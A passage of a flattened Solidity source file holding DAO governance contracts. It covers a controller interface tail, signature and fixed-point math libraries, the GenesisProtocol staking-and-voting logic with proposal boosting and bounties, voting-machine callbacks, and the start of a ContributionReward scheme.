function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.2;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
return (address(0));
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.2;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalStakes = proposal.stakes[NO].add(proposal.stakes[YES]);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
if (staker.amount > 0) {
uint256 totalStakesLeftAfterCallBounty =
totalStakes.sub(proposal.expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100));
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0].add((proposal.daoBounty.mul(totalStakes))/totalWinningStakes).sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if (_score(_proposalId) > confidenceThreshold) {
if (orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
proposal.state = ProposalState.Queued;
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract ContributionReward is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
using SafeMath for uint;
event NewContributionProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
string _descriptionHash,
int256 _reputationChange,
uint[5] _rewards,
IERC20 _externalToken,
address _beneficiary
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event RedeemReputation(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
int256 _amount);
event RedeemEther(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
event RedeemNativeToken(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
event RedeemExternalToken(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
struct ContributionProposal {
uint256 nativeTokenReward;
int256 reputationChange;
uint256 ethReward;
IERC20 externalToken;
uint256 externalTokenReward;
address payable beneficiary;
uint256 periodLength;
uint256 numberOfPeriods;
uint256 executionTime;
uint[4] redeemedPeriods;
}
mapping(address=>mapping(bytes32=>ContributionProposal)) public organizationsProposals;
struct Parameters {
bytes32 voteApproveParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
require(organizationsProposals[address(proposal.avatar)][_proposalId].executionTime == 0);
require(organizationsProposals[address(proposal.avatar)][_proposalId].beneficiary != address(0));
if (_param == 1) {
organizationsProposals[address(proposal.avatar)][_proposalId].executionTime = now;
}
emit ProposalExecuted(address(proposal.avatar), _proposalId, _param);
return true;
}
function setParameters(
bytes32 _voteApproveParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(
_voteApproveParams,
_intVote
);
